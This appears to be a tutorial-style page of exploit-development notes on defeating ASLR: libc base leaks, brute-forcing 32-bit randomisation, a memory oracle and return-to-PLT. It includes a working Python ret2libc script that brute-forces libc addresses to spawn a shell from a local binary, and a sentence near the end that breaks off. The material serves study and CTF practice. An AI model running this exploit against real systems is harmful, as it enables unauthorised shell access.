ASLR
Address Space layout Randomization (ASLR)¶
Makes it harder for an attacker to guess the address of the executable, stack, and loaded libs.
This can be bypassed if there is an Info Leak that discloses some value absolute address from the stack, executable or the loaded libs. This Info Leak must be the same source you use your gadgets from.
Getting the Base Address:
infoleak = 0xf7cf4467 #This is the Info Leak for a element from the stack that is located in libc
libc_base = infoleak - 0x467 #This is the offset that is learned from doing a strings of the libc version
# This is your base address which can be used for gadgets
Forked processes have the same offset as the parent. This means a leak of a forked process will get the information of the main process
Brute forcing¶
32-Bit¶
Brute-forcing is possible since there is only 3 bytes of random so 4095 random positions.
$ while true; do ldd ./backup; done | grep libc
libc.so.6 => /usr/lib32/libc.so.6 (0xf7cf4000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7d25000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7cf4000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7d5d000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7cc6000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7d28000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7ce3000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7d29000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7d28000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7cf0000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7dc3000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7cd3000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7d98000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7cd0000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7cfc000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7d4a000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7d1e000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7cc6000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7d0f000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7d72000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7ce8000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7cff000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7d7a000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7d7b000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7d93000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7d56000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7d5c000)
libc.so.6 => /usr/lib32/libc.so.6 (0xf7da9000)
Example Script Bruteforcing 32bit ASLR:
from subprocess import call
from struct import pack
key= "45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474"
junk = "A"*512 #junk padding
libc = 0xf7dc5000 #libc base address. Take any from ldd ./backup.
system = pack("I",libc+0x3c7d0) #system offset added to libc base and convert to little Endian
exit = pack("I",libc+0x2fb10) #exit offset added to libc base
sh = pack("I",libc+0x17888a) #/bin/sh offset added to libc base
payload = junk + system + exit + sh #final payload
for i in range(512): #for loop to execute 512 times
print(i) #counter
ret=call(["./backup","aaa",key,payload]) #call ./backup with proper arguments
if (not ret): #break on successful exploit
print "**************"
break
else:
print "Exploit failed !"
64-Bit¶
ASLR Brute-forcing not feasible on 64 bit systems
ASLR 48-bits of random
while true; do ldd a.out; done | grep libc
libc.so.6 => /usr/lib/libc.so.6 (0x00007f468dad5000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007f3eaa737000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007fe83de5b000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007f53873d6000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007fbcaf271000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007fa1f384d000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007f2e9a9b0000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007f86c9187000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007f84f36e5000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007f6df67fb000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007f60cdb7c000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007f512abd8000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007fa0ee5f8000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007fad3c2fb000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007f6b025f8000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007f7a3ad69000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007f1a14e88000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007ffa5ee6e000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007ff65a6ba000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007fdeff4fb000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007fbef70e3000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007ff374a8f000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007fa838a5e000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007f6214f8f000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007f5b3b44f000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007f284a48b000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007f78963d6000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007f9e1c896000)
libc.so.6 => /usr/lib/libc.so.6 (0x00007f1e82fff000)
Oracle¶
- When there is a large executable it is possible to bypass ASLR through bruteforcing.
start_address = 0x180000000
end_address = 0x280000000
step = 1024 * 1024 * 1024 # 1 GB
for addr in range(start, end, step):
if address_is_mapped(addr):
return binary_search(addr - step, addr, address_is_mapped)
Return to Procedural Linkage Table¶
If the PLT has a function that is from another module it can be used to leak an address in that library.
Steps to call function in another library:
1. Make a Call to the function in the PLT.
- This will write the address of the function to the processes GOT
2. Dereference the pointer in the GOT.
- This will be the function in that library.
3. Use an offset from this address to call another function in that library
Note
This will work when system ALSR is enabled but will not work when Position Independent Code (PIC) is enabled.
Note
If the process already has the function in its PLT then you can call it
But the PIC can be bypassed if the function you want to call is in the binary its self. You can use the executable part of the binary that calls that function to
ASLR Bypass¶
- ASLR is always bypassable when the writable region is larger than the slide.
- This is done through bruteforcing.